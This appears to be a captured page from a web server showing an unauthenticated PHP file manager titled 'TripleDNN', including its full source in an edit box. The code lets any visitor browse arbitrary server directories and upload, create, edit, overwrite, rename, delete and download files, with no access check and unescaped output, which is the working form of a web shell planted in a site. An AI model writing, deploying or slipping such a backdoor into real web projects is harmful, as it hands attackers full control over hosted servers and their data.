Dossier actuel:
/home/users/00/58/5b/home/www/www/Explorer
Envoyer
Create File
Nom
Taille
Actions
index.php
7448 bytes
Modifier
|
Supprimer
|
Renommer
|
Télécharger
<?php $root_dir = realpath(__DIR__); $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir; if (!$current_dir || !is_dir($current_dir)) { $current_dir = $root_dir; } function listDirectory($dir) { $files = scandir($dir); $directories = []; $regular_files = []; foreach ($files as $file) { if ($file != "." && $file != "..") { if (is_dir($dir . '/' . $file)) { $directories[] = $file; } else { $regular_files[] = $file; } } } foreach ($directories as $directory) { echo '<tr>'; echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>'; echo '<td>Folder</td>'; echo '<td> <!-- <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> | --> <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Détruire</a> | <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Renommer</a> <!-- <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a> --> </td>'; echo '</tr>'; } foreach ($regular_files as $file) { echo '<tr>'; echo '<td>' . $file . '</td>'; echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>'; echo '<td> <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Modifier</a> | <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Supprimer</a> | <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Renommer</a> | <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Télécharger</a> </td>'; echo '</tr>'; } } if (isset($_GET['delete'])) { $file_to_delete = $current_dir . '/' . $_GET['delete']; if (is_file($file_to_delete)) { unlink($file_to_delete); } header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_GET['download'])) { $file_to_download = $current_dir . '/' . $_GET['download']; if (is_file($file_to_download)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"'); header('Content-Length: ' . filesize($file_to_download)); readfile($file_to_download); exit; } } if (isset($_POST['rename_file'])) { $old_name = $current_dir . '/' . $_POST['old_name']; $new_name = $current_dir . '/' . $_POST['new_name']; rename($old_name, $new_name); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['upload'])) { $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['save_file'])) { $file_to_edit = $current_dir . '/' . $_POST['file_name']; $new_content = $_POST['file_content']; file_put_contents($file_to_edit, $new_content); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['create_file'])) { $new_file_name = $_POST['new_file_name']; $new_file_path = $current_dir . '/' . $new_file_name; file_put_contents($new_file_path, ""); header("Location: ?dir=" . urlencode($_GET['dir'])); } ?> <!DOCTYPE html> <html> <head> <title>TripleDNN</title> <style> body { background-color: #121212; color: #E0E0E0; font-family: Arial, sans-serif; } h2 { color: #BB86FC; } table { width: 100%; border-collapse: collapse; } th, td { padding: 10px; text-align: left; } th { background-color: #333; color: #BB86FC; } tr:nth-child(even) { background-color: #222; } tr:nth-child(odd) { background-color: #121212; } a { color: #03DAC6; text-decoration: none; } a:hover { color: #BB86FC; } button { background-color: #03DAC6; color: #121212; border: none; padding: 10px 20px; cursor: pointer; } button:hover { background-color: #BB86FC; } textarea { width: 100%; height: 400px; background-color: #222; color: #E0E0E0; border: 1px solid #BB86FC; } input[type="file"], input[type="text"] { color: #E0E0E0; background-color: #222; border: 1px solid #BB86FC; padding: 10px; } .form-container { display: flex; justify-content: space-between; margin-bottom: 20px; } .form-container form { margin-right: 10px; } </style> </head> <body> <p>Dossier actuel: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p> <div class="form-container"> <!-- Form untuk upload file --> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit" name="upload">Envoyer</button> </form> <!-- Form untuk membuat file baru --> <form method="post"> <input type="text" name="new_file_name" placeholder="Nouveau fichier" required> <button type="submit" name="create_file">Create File</button> </form> </div> <table border="1"> <thead> <tr> <th>Nom</th> <th>Taille</th> <th>Actions</th> </tr> </thead> <tbody> <?php listDirectory($current_dir); ?> </tbody> </table> <!-- Form untuk rename file --> <?php if (isset($_GET['rename'])): ?> <form method="post"> <input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>"> <input type="text" name="new_name" placeholder="Nouveau nom" style="width: 100%; padding: 10px;"> <button type="submit" name="rename_file">Renommer</button> </form> <?php endif; ?> <!-- Form untuk mengedit file --> <?php if (isset($_GET['edit'])): $file_to_edit = $current_dir . '/' . $_GET['edit']; if (is_file($file_to_edit)) { $file_content = file_get_contents($file_to_edit); ?> <form method="post"> <input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>"> <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea> <br> <button type="submit" name="save_file">Sauvegarder</button> </form> <?php } endif; ?> </body> </html>
Sauvegarder